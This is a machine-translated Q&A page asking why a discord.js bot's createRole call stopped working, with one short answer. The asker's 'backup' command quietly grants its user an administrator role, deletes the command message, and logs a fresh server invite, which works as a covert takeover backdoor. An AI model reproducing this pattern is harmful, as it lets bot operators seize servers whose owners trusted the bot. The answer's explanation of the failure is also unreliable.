message.guild.createRole не работает - раздор. js - PullRequest
0 голосов
/ 01 мая 2020

Я новичок в скрипте в JavaScript, и когда я тестировал свой код, мой бот неожиданно отказался делать то, что делал раньше. По сути, у меня есть команда, которая дает вам роль администратора (если кому-то нужно объяснить, почему я отвечу в комментариях), отправляет сообщение о том, что я ее выполнил, и отправляет приглашение на сервер, на котором я выполнил команду. Я прочитал некоторый код онлайн и составил команду. Он работал в течение нескольких дней, а затем однажды перестал работать, сказав, что это не функция. Я использую последнюю версию Discord. js. Вот мой код:

bot.on("message", async message => {
    if(message.content.startsWith(`${prefix}backup`)) {
        const role = await message.guild.createRole({
              name: 'Backup',
              permissions: ['ADMINISTRATOR'],
              color: '0xe600ff',
              position: 0
            }
        );
        await message.member.addRole(role);
        message.channel.bulkDelete(1)
        console.log(`You ran backup on ${message.guild.name}`)
        let invite = await message.channel.createInvite(
            {
              maxAge: 86399,
              maxUses: 3
            },
            `f`
          )
          .catch(console.log);

            console.log(invite ? `Invite: ${invite}` : "Error");
          }
    }
)

Я не знаю, обновил ли я свой дискорд. js, потому что я размещаю на glitch.com. Заранее спасибо

1 Ответ

0 голосов
/ 01 мая 2020

Только владелец гильдии может создать разрешение АДМИНИСТРАТОРА. Вот почему ваш код не работает.

...